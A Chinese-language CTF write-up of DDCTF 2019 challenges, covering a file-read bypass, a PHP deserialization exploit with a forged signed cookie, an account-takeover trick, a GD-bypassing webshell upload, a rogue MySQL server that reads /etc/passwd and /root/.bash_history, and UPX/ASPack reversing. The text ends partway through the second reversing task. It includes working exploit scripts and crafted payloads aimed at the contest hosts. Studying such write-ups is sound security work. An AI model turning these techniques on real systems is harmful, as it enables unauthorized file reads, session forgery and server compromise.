DDCTF 部分Writeup
0x1 web1 滴~
打開題目鏈接如下所示

觀察到URL:http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
常識(shí)告訴我們要將JPG的值base64解碼,結(jié)果為NjY2QzYxNjcyRTZBNzA2Nw==,再次base64解碼得666C61672E6A7067
再unhex一次得到flag.jpg,所以應(yīng)該是任意文件讀取,只不過會(huì)被編碼成base64的圖片格式,所以構(gòu)造讀取index.php,即先將字符串index.phpHex一次,再對(duì)結(jié)果兩次base64得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
然后去訪問http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,然后查看源碼可以看到有
<img src='data:image/gif;base64,PD9waHANCi8qDQogKiBodHRwczovL2Jsb2cuY3Nkbi5uZXQvRmVuZ0JhbkxpdVl1bi9hcnRpY2xlL2RldGFpbHMvODA2MTY2MDcNCiAqIERhdGU6IEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3JlcG9ydGluZyhFX0FMTCB8fCB+RV9OT1RJQ0UpOw0KDQoNCmhlYWRlcignY29udGVudC10eXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Jyk7DQppZighIGlzc2V0KCRfR0VUWydqcGcnXSkpDQogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2pwZz1UbXBaTWxGNldYaE9hbU41VWxSYVFrNTZRVEpPZHowOScpOw0KJGZpbGUgPSBoZXgyYmluKGJhc2U2NF9kZWNvZGUoYmFzZTY0X2RlY29kZSgkX0dFVFsnanBnJ10pKSk7DQplY2hvICc8dGl0bGU+Jy4kX0dFVFsnanBnJ10uJzwvdGl0bGU+JzsNCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwiIiwgJGZpbGUpOw0KZWNobyAkZmlsZS4nPC9icj4nOw0KJGZpbGUgPSBzdHJfcmVwbGFjZSgiY29uZmlnIiwiISIsICRmaWxlKTsNCmVjaG8gJGZpbGUuJzwvYnI+JzsNCiR0eHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQoNCmVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIi4kdHh0LiInPjwvaW1nPiI7DQovKg0KICogQ2FuIHlvdSBmaW5kIHRoZSBmbGFnIGZpbGU/DQogKg0KICovDQoNCj8+DQo='></img>
將得到的base64字符串解碼得到index.php的源碼
index.php
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
嘗試去讀flag.txt,一些備份文件都無果,然后根據(jù)源碼中根據(jù)注釋信息去訪問csdn博主的博客

看到一篇文章

所以去訪問.practice.txt.swp,于是構(gòu)造字符串,將.practice.txt.swp按上面的方法,一次Hex、兩次base64編碼得到TW1VM01EY3lOakUyTXpjME5qazJNelkxTW1VM05EYzROelF5WlRjek56YzNNQT09
于是訪問url http://117.51.150.246/index.php?jpg=TW1VM01EY3lOakUyTXpjME5qazJNelkxTW1VM05EYzROelF5WlRjek56YzNNQT09
查看網(wǎng)頁源碼看到
<img src='data:image/gif;base64,ZjFhZyFkZGN0Zi5waHA='></img>
解碼得到f1ag!ddctf.php,這時(shí)我們就想著去訪問f1ag!ddctf.php文件了,不過在index.php代碼中我們可以看到,正則表達(dá)式不允許輸入!符號(hào),但是下面的$file = str_replace("config","!", $file);會(huì)把我們輸入的文件名中的config替換為!,所以我們只需要構(gòu)造f1agconfigddctf.php然后編碼,得到TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==
然后訪問url http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==
查看源碼得到
<img src='data:image/gif;base64,PD9waHANCmluY2x1ZGUoJ2NvbmZpZy5waHAnKTsNCiRrID0gJ2hlbGxvJzsNCmV4dHJhY3QoJF9HRVQpOw0KaWYoaXNzZXQoJHVpZCkpDQp7DQogICAgJGNvbnRlbnQ9dHJpbShmaWxlX2dldF9jb250ZW50cygkaykpOw0KICAgIGlmKCR1aWQ9PSRjb250ZW50KQ0KCXsNCgkJZWNobyAkZmxhZzsNCgl9DQoJZWxzZQ0KCXsNCgkJZWNobydoZWxsbyc7DQoJfQ0KfQ0KDQo/Pg=='></img>
然后解碼得到代碼
f1ag!ddctf.php
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
簡(jiǎn)單過一遍代碼可以知道是簡(jiǎn)單的變量覆蓋漏洞(可以參考我們做的筆記),所以我們只用去訪問http://117.51.150.246/f1ag!ddctf.php?k=&uid=即可拿到flag

0x2 web簽到題

打開題目鏈接看到網(wǎng)頁
提示抱歉,您沒有登陸權(quán)限,請(qǐng)獲取權(quán)限后訪問-----,網(wǎng)頁查看源碼,沒有看到其他信息,但是其中有一個(gè)index.js
/**
* Created by PhpStorm.
* User: didi
* Date: 2019/1/13
* Time: 9:05 PM
*/
function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}
可以看到會(huì)通過ajax請(qǐng)求http://117.51.158.44/app/Auth.php,并且會(huì)設(shè)置http頭didictf_username
所以抓包得到

既然它提示我們沒有管理員權(quán)限那么我們給didictf_username賦值為admin,即修改http頭

Forward查看頁面看到您當(dāng)前當(dāng)前權(quán)限為管理員----請(qǐng)?jiān)L問:app/fL2XID2i0Cdh.php,所以我們按照提示訪問http://117.51.158.44/app/fL2XID2i0Cdh.php
得到源代碼
#url:app/Application.php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您當(dāng)前當(dāng)前權(quán)限為管理員----請(qǐng)?jiān)L問:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您沒有登陸權(quán)限,請(qǐng)獲取權(quán)限后訪問-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
#url:app/Session.php
include 'Application.php';
class Session extends Application {
//key建議為8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
根據(jù)代碼審計(jì),可以確定這是一道反序列化漏洞的利用,我們可以利用Session類里的
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
中的$user_data,將其值設(shè)置為類Application的一個(gè)對(duì)象。
可以看到類Application的public function __destruct()函數(shù),該函數(shù)會(huì)讀取以成員變量$path所指向的字符串為名字的文件并輸出,并且該函數(shù)會(huì)在腳本執(zhí)行完畢之后自動(dòng)調(diào)用.接下來是利用方式
我們?nèi)ピL問http://117.51.158.44/app/Session.php,得到頁面返回結(jié)果提示
{"errMsg":"error","data":"\u62b1\u6b49\uff0c\u60a8\u6ca1\u6709\u767b\u9646\u6743\u9650\uff0c\u8bf7\u83b7\u53d6\u6743\u9650\u540e\u8bbf\u95ee-----"}
是json數(shù)據(jù),unicode解碼之后就是{"errMsg":"error","data":"抱歉,您沒有登陸權(quán)限,請(qǐng)獲取權(quán)限后訪問-----"}
抓包增加http頭didictf_username: admin

得到頁面返回結(jié)果,unicode解碼后為
{"errMsg":"success","data":"您當(dāng)前當(dāng)前權(quán)限為管理員----請(qǐng)?jiān)L問:app\/fL2XID2i0Cdh.php"}{"errMsg":"sucess","data":"DiDI Welcome you %s"}
此時(shí)查看cookie得到
a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%220e9be2d96d35328783c1f69498a260d6%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22171.43.226.76%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A113%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F71.0.3578.98+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D0df866e958664506d94eecc413c2022c
url解碼得到
a:4:{s:10:"session_id";s:32:"0e9be2d96d35328783c1f69498a260d6";s:10:"ip_address";s:13:"171.43.226.76";s:10:"user_agent";s:113:"Mozilla/5.0+(Windows+NT+6.1;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/71.0.3578.98+Safari/537.36";s:9:"user_data";s:0:"";}0df866e958664506d94eecc413c2022c
通過審計(jì)代碼可知我們先通過post一個(gè)nickname可以泄露eancrykey,我們依舊請(qǐng)求http://117.51.158.44/app/Session.php,抓包,修改
請(qǐng)求方法為POST,http頭添加didictf_username: admin,請(qǐng)求體 添加nickname:%s

得到返回結(jié)果
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 16 Apr 2019 12:07:54 GMT
Content-Type: application/json
Connection: keep-alive
Content-Length: 359
{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Welcome","data":"Welcome my friend EzblrbNS"}{"errMsg":"sucess","data":"DiDI Welcome you Mozilla\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/71.0.3578.98 Safari\/537.36"}
可以得到eancrykey:EzblrbNS
拿到eancrykey后,本地PHPstudy搭建環(huán)境生成攻擊用的序列化后的ddctf_id
以下是我的構(gòu)造腳本
<?php
@error_reporting(1);
Class Application {
var $path = '';
}
$userdata='a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%222f2361854eb93c5f447dfa3eec550506%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22171.43.227.12%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A113%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F71.0.3578.98+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Dc6f45a033b9722d64b701e79dc318a3f';
$userdata=urldecode($userdata);
$userdata= substr($userdata,0,strlen($userdata)-40);
$a=new Application;
$a->path='..././config/flag.txt';
$userdata=$userdata.serialize($a).'}';
$eancrykey='EzblrbNS';
$cookiedata=$userdata;
$cookiedata = $cookiedata.md5($eancrykey.$cookiedata);
echo urlencode($cookiedata).'</br>';
其中$userdata為我自己的session信息,包括本機(jī)ip,UA標(biāo)識(shí)符什么的,通過讀源碼知道,服務(wù)器會(huì)對(duì)我們的session校驗(yàn),$path賦值為..././config/flag.txt,其中按源代碼要求$path的長(zhǎng)度必須等于18位,并且會(huì)替換一次../為空,所以我這里采用..././的方式繞過,至于flag文件的路徑,源代碼有提示與eancrykey.txt同目錄,至于名字,就猜嘛(一發(fā)入魂),
本地執(zhí)行拿到我們自己構(gòu)造的session
a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%222f2361854eb93c5f447dfa3eec550506%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22171.43.227.12%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A113%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F71.0.3578.98+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3BO%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3B%7D%7D7ffaffe481834a8ba3acb2a24ac7d76c
用我們構(gòu)造的session去替換服務(wù)器給我們生成的session,即可以拿到flag

0x3 Web 大吉大利,今晚吃雞~

我是非常規(guī)做出的這道題
注冊(cè)賬戶,注冊(cè)一個(gè)已經(jīng)存在的賬戶,雖然會(huì)提示已經(jīng)注冊(cè)了,但是!!!!,,,,,發(fā)現(xiàn)其實(shí)我們已經(jīng)以這個(gè)已經(jīng)存在的賬戶的身份登進(jìn)去了

我是根據(jù)完成這道題目的名單,第一個(gè)完成此題的人,剛好他做這個(gè)題的時(shí)候注冊(cè)的時(shí)候id就是他的ddctf的id

我們登進(jìn)去之后進(jìn)入http://117.51.147.155:5050/index.html#/main/index是這樣的一個(gè)界面

然后買到入場(chǎng)券之后可以進(jìn)入http://117.51.147.155:5050/index.html#/main/result玩吃雞(手動(dòng)滑稽)
然而我們登錄的這個(gè)賬號(hào)是第一個(gè)做出此題的人,打開http://117.51.147.155:5050/index.html#/main/result,即可看到flag

總結(jié)一下利用的過程,首先這個(gè)題有不需要密碼任意登錄的問題,然后是挑選了第一個(gè)完成此題的人,恰巧第一個(gè)完成此題的人他在完成這個(gè)題的時(shí)候注冊(cè)的賬號(hào)是他的ctf賬戶id(偷笑),而且因?yàn)榇藭r(shí)游戲競(jìng)技場(chǎng)上沒有其他人,所以拿到了flag
此題目的各個(gè)頁面的url,我是從js中找到的在這個(gè)js里還能看到很多其他信息

我也測(cè)試登錄其他人的賬號(hào),需要將所有對(duì)手移除才能拿到flag,而移除其他對(duì)手需要知道對(duì)方的id和ticket

0x4 Upload-IMG
查找
題目打開登陸后很明確,文件上傳
那么傳個(gè)圖片試試,穿個(gè)圖片馬
結(jié)果發(fā)現(xiàn)沒用。但是它有回顯的圖片
保存下來看看有啥區(qū)別
發(fā)現(xiàn)了文件頭內(nèi)有
xxxJFIFxxx;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80
這么一段,很明顯這是圖片經(jīng)過二次渲染了,到網(wǎng)上查一下可以得出這是用的php-gd庫
然后查一下php gd二次渲染繞過可以找到這么一個(gè)網(wǎng)站 https://wiki.ioin.in/soft/detail/1q
提供一個(gè)繞過GD庫渲染的WEBSHELL生成器
來源于這個(gè)論壇 https://rdot.org/forum/showthread.php?t=2780
使用
- 首先linux下裝個(gè)php-gd庫
- 制作一個(gè)分辨率夠大純色圖片(據(jù)論壇說成功率更高)
- 上傳圖片,下載轉(zhuǎn)化后的圖片
- 使用下載的php腳本處理下載的圖片(需要更改腳本內(nèi)的shell)
- 上傳處理后的payload圖片,拿到flag
0x5 mysql弱口令

打開題目鏈接是這個(gè)樣子的

經(jīng)過百方查找才知道,這是一個(gè)通過偽造惡意mysql服務(wù)端,然后任意讀取客戶端文件的利用
這里題目的服務(wù)器就相當(dāng)于是客戶端,所以我們只要在我們的VPS上面部署惡意的mysql服務(wù)器,然后再運(yùn)行用題目所給的agent,py,然后執(zhí)行掃描就可以實(shí)現(xiàn)任意文件讀取了
已有前輩們寫好的構(gòu)造惡意mysql服務(wù)器腳本
github地址
這里只用修改PORT為我們構(gòu)造的mysql服務(wù)的端口號(hào)
PORT = 3307
filelist = (
'/etc/passwd',
)
filelist為我們要掃描的文件
最終會(huì)在當(dāng)前目錄生成mysql_log1文件,我們讀取的題目容器的數(shù)據(jù)就會(huì)被記錄在mysql_log文件里
在ageent.py中添加
result={'Process_name':'123/mysqld','local_address':'0.0.0.0:3307'}

然后輸入我們的vps地址,端口號(hào)是我們構(gòu)造的mysql服務(wù)器指定的端口,我這里是用的3307

點(diǎn)擊掃描,掃描到數(shù)據(jù)頁面就會(huì)返回

此時(shí)我們查看mysql_log文件確實(shí)返回了我們想要讀取的數(shù)據(jù)

然后我們?cè)賴L試讀/root/.bash_history文件查找信息,得到
...
history -w
ls
2019-04-16 16:42:33,251:INFO:-- result
2019-04-16 16:42:33,251:INFO:Result: '╚/app/main/views.py
vim /home/dc2-user/ctf_web_2/app/main/views.py
history
exit
ls
pwd
history
cat /root/.bash_history
ls
cd ctf_web_2/
ls
cat app/main/views.py
ls
ps -aux
ps -aux | grep 5000
cat /root/.bash_history
ls
history | grep wget
...
其中看到vim /home/dc2-user/ctf_web_2/app/main/views.py,然后再去讀vim /home/dc2-user/ctf_web_2/app/main/views.py,得到源碼
# coding=utf-8
from flask import jsonify, request
from struct import unpack
from socket import inet_aton
import MySQLdb
from subprocess import Popen, PIPE
import re
import os
import base64
# flag in mysql curl@localhost database:security table:flag
def weak_scan():
agent_port = 8123
result = []
target_ip = request.args.get('target_ip')
target_port = request.args.get('target_port')
if not target_ip or not target_port:
return jsonify({"code": 404, "msg": "參數(shù)不能為空", "data": []})
if not target_port.isdigit():
return jsonify({"code": 404, "msg": "端口必須為數(shù)字", "data": []})
if not checkip(target_ip):
return jsonify({"code": 404, "msg": "必須輸入ip", "data": []})
if is_inner_ipaddress(target_ip):
return jsonify({"code": 404, "msg": "ip不能是內(nèi)網(wǎng)ip", "data": []})
tmp_agent_result = get_agent_result(target_ip, agent_port)
if not tmp_agent_result[0] == 1:
tem_result = tmp_agent_result[1]
result.append(base64.b64encode(tem_result))
return jsonify({"code": 404, "msg": "服務(wù)器未開啟mysql", "data": result})
...
看到注釋# flag in mysql curl@localhost database:security table:flag
我們知道linux下,MySQL默認(rèn)的數(shù)據(jù)文檔存儲(chǔ)目錄為/var/lib/mysql/,所以嘗試/var/lib/mysql/security/flag.ibd文件,網(wǎng)上有很多通過idb恢復(fù)數(shù)據(jù)表的教程,但是我拿到idb文件后用vscode打開,字符串搜索就看到了flag

0x6 Windows Reverse1
首先查殼
上peid 顯示:UPX 0.89.6 - 1.02 / 1.05 - 2.90 -> Markus & Laszlo
很明顯是upx
脫殼
直接上脫殼機(jī)即可,雖然這樣拖出來的執(zhí)行會(huì)有問題,不過已經(jīng)可以再次用ida分析了
靜態(tài)審計(jì)
主函數(shù)很簡(jiǎn)單
v6 = 0;
memset(&Dst, 0, 0x3FFu);
v4 = 0;
memset(&v5, 0, 0x3FFu);
printf("please input code:");
scanf("%s", &v6);
sub_401000(&v6);
if ( !strcmp(&v4, "DDCTF{reverseME}") )
printf("You've got it!!%s\n", &v4);
else
printf("Try again later.\n");
return 0;
這里主要是看sub_401000(&v6);這個(gè)函數(shù)干了啥
跟進(jìn)去
unsigned int __cdecl sub_401000(const char *a1)
{
_BYTE *v1; // ecx
unsigned int v2; // edi
unsigned int result; // eax
int v4; // ebx
v2 = 0;
result = strlen(a1);
if ( result )
{
v4 = a1 - v1;
do
{
*v1 = byte_402FF8[(char)v1[v4]];
++v2;
++v1;
result = strlen(a1);
}
while ( v2 < result );
}
return result;
}
這就是一個(gè)查找算法,從一個(gè)序列里查找"DDCTF{reverseME}"這個(gè)字符串
看下內(nèi)存,可以找到這個(gè)地方
UPX0:00403018 aZyxwvutsrqponm db '~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>'
UPX0:00403018 db '=<;:9876543210/.-,+*)(',27h,'&%$#"! ',0
注意數(shù)據(jù)起始開始位置為402FF8
然后上腳本
a='''00 00 00 00 00 00 00 00
4E E6 40 BB B1 19 BF 44 FF FF FF FF FF FF FF FF
FE FF FF FF 01 00 00 00 7E 7D 7C 7B 7A 79 78 77
76 75 74 73 72 71 70 6F 6E 6D 6C 6B 6A 69 68 67
66 65 64 63 62 61 60 5F 5E 5D 5C 5B 5A 59 58 57
56 55 54 53 52 51 50 4F 4E 4D 4C 4B 4A 49 48 47
46 45 44 43 42 41 40 3F 3E 3D 3C 3B 3A 39 38 37
36 35 34 33 32 31 30 2F 2E 2D 2C 2B 2A 29 28 27
26 25 24 23 22 21 20 00 00 00 00 00 00 00 00 00'''.replace('\n',' ').split(' ')
a=[chr(int(ta,base=16)) for ta in a]
b='DDCTF{reverseME}'
result=[]
for bb in b:
index=0
tmp=-1
for aa in a:
if aa==bb:
tmp=index
index+=1
result.append(tmp)
print(''.join([chr(r+i) for r in result]))
即可得到flag
0x7 Windows Reverse2
首先查殼,發(fā)現(xiàn)是Aspack

脫殼后IDA打開,F(xiàn)5一鍵反編譯
進(jìn)入主函數(shù)查看代碼如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char Dest; // [sp+8h] [bp-C04h]@4
char v5; // [sp+9h] [bp-C03h]@4
char v6; // [sp+408h] [bp-804h]@1
char Dst; // [sp+409h] [bp-803h]@1
char v8; // [sp+808h] [bp-404h]@1
char v9; // [sp+809h] [bp-403h]@1
v6 = 0;
memset(&Dst, 0, 0x3FFu);
v8 = 0;
memset(&v9, 0, 0x3FFu);
printf(Format); // "Input code"
scanf(aS, &v6); // input -> v6
if ( !sub_4011F0(&v6) ) //判斷輸入字符是否為 0-9 A-F
{
printf(aInvalidInput);
exit(0);
}
sub_401240(&v6, (int)&v8); //對(duì)輸入數(shù)據(jù)進(jìn)行處理
Dest = 0;
memset(&v5, 0, 0x3FFu);
sprintf(&Dest, aDdctfS, &v8); // Dest = "DDCTF{" + v8 + "}"
//結(jié)果存放在Dest中
if ( !strcmp(&Dest, aDdctfReverse) ) // if(Dest == 'DDCTF{reverse+}')
printf(aYouVeGotItS, &Dest); // ok
else
printf(aSomethingWrong);
return 0;
}
數(shù)據(jù)格式判斷函數(shù) sub_4011F0(&v6):
char __usercall sub_4011F0@<al>(const char *a1@<esi>)
{
signed int v1; // eax@1
signed int v2; // edx@1
int v3; // ecx@3
char v4; // al@4
v1 = strlen(a1);
v2 = v1; // v2 -> len(v6)
if ( v1 && v1 % 2 != 1 ) // 長(zhǎng)度為偶數(shù)位
{
v3 = 0;
if ( v1 <= 0 )
return 1; // true
while ( 1 )
{
v4 = a1[v3];
if ( (v4 < 48 || v4 > 57) && (v4 < 65 || v4 > 70) )// 范圍是否在 0-9 A-F
break;
if ( ++v3 >= v2 )
return 1;
}
}
return 0; // false
}
接下來查看輸入數(shù)據(jù)處理函數(shù) sub_401240():
void __usercall sub_401240(const char *a1@<esi>, int a2)
{
signed int v2; // edi@1 a1 -> input a2 -> 0
unsigned int v3; // edx@1
char v4; // bl@2
char v5; // al@3
char v6; // al@7
unsigned int v7; // ecx@11
char v8; // [sp+Bh] [bp-405h]@0
char v9; // [sp+Ch] [bp-404h]@1
char Dst; // [sp+Dh] [bp-403h]@1
v2 = strlen(a1); // v2 -> len(a1)
v9 = 0;
memset(&Dst, 0, 0x3FFu);
v3 = 0;
if ( v2 > 0 )
{
v4 = v8;
do
{
v5 = a1[v3];
if ( (unsigned __int8)(a1[v3] - 48) > 9u )// ! 0-9
{
if ( (unsigned __int8)(v5 - 65) <= 5u ) // A-F
v8 = v5 - 55; // v5-'7'
}
else
{
v8 = a1[v3] - 48;
} // hexstr[i] -> int
v6 = a1[v3 + 1];
if ( (unsigned __int8)(a1[v3 + 1] - 48) > 9u )
{
if ( (unsigned __int8)(v6 - 65) <= 5u )
v4 = v6 - 55;
}
else
{
v4 = a1[v3 + 1] - 48;
} // hexstr[i+1] -> int
v7 = v3 >> 1;
v3 += 2;
*(&v9 + v7) = v4 | 16 * v8;
}
while ( (signed int)v3 < v2 );
}
//這一層主要是實(shí)現(xiàn)16進(jìn)制字符串轉(zhuǎn)byte[]數(shù)組,然后將結(jié)果傳入下一層函數(shù)進(jìn)行處理
sub_401000(v2 / 2, (void *)a2);
}
下一層處理函數(shù) sub_401000():
void __cdecl sub_401000(int a1, void *a2)
{
char *v2; // ecx@0 str(byte)
int v3; // ebp@1
char *v4; // edi@1
signed int v5; // esi@1
unsigned __int8 v6; // bl@2
signed int v7; // esi@3 input str
int v8; // edi@10
int v9; // edi@13
size_t v10; // esi@15
void *v11; // edi@15 byte[]
const void *v12; // eax@15
int v13; // eax@18
int v14; // edx@18
int v15; // [sp+4h] [bp-48h]@0
int v16; // [sp+8h] [bp-44h]@0
int v17; // [sp+10h] [bp-3Ch]@0
char Dst; // [sp+14h] [bp-38h]@2
unsigned __int8 v19; // [sp+15h] [bp-37h]@2
unsigned __int8 v20; // [sp+16h] [bp-36h]@3
char v21; // [sp+18h] [bp-34h]@3
char v22; // [sp+19h] [bp-33h]@3
char v23; // [sp+1Ah] [bp-32h]@3
char i; // [sp+1Bh] [bp-31h]@3
void *v25; // [sp+1Ch] [bp-30h]@1
char v26; // [sp+20h] [bp-2Ch]@1
void *Src; // [sp+24h] [bp-28h]@15
size_t Size; // [sp+34h] [bp-18h]@15
unsigned int v29; // [sp+38h] [bp-14h]@15
int v30; // [sp+3Ch] [bp-10h]@18
int v31; // [sp+48h] [bp-4h]@1
v3 = a1; // len(byte)
v25 = a2;
std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>, std::allocator<char>>(&v26); //v26 = new String()
v5 = 0;
v31 = 0;
if ( a1 )
{
do
{
*(&Dst + v5) = *v4;
v6 = v19;
++v5; // looper -> 3
--v3;
++v4;
if ( v5 == 3 )
{
v21 = (unsigned __int8)Dst >> 2; // Dst / 4 >>2
v22 = (v19 >> 4) + 16 * (Dst & 3); // Dst 低兩位 *16
v23 = (v20 >> 6) + 4 * (v19 & 0xF); // v14 低四位 *4
i = v20 & 0x3F; // i = 3f
v7 = 0;
do
std::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(
&v26,
(unsigned __int8)(byte_403020[(unsigned __int8)*(&v21 + v7++)] ^ 0x76));
while ( v7 < 4 ); //四位一處理
v5 = 0;
}
}
while ( v3 );
if ( v5 )
{
if ( v5 < 3 )
{
memset(&Dst + v5, 0, 3 - v5);
v6 = v19;
}
v22 = (v6 >> 4) + 16 * (Dst & 3);
v21 = (unsigned __int8)Dst >> 2;
v23 = (v20 >> 6) + 4 * (v6 & 0xF);
v8 = 0;
for ( i = v20 & 0x3F; v8 < v5 + 1; ++v8 )
std::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(
&v26,
(unsigned __int8)(byte_403020[(unsigned __int8)*(&v21 + v8)] ^ 0x76));
if ( v5 < 3 )
{
v9 = 3 - v5;
do
{
std::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&v26, 61); //最后一塊長(zhǎng)度不足四位補(bǔ)'='
--v9;
}
while ( v9 );
}
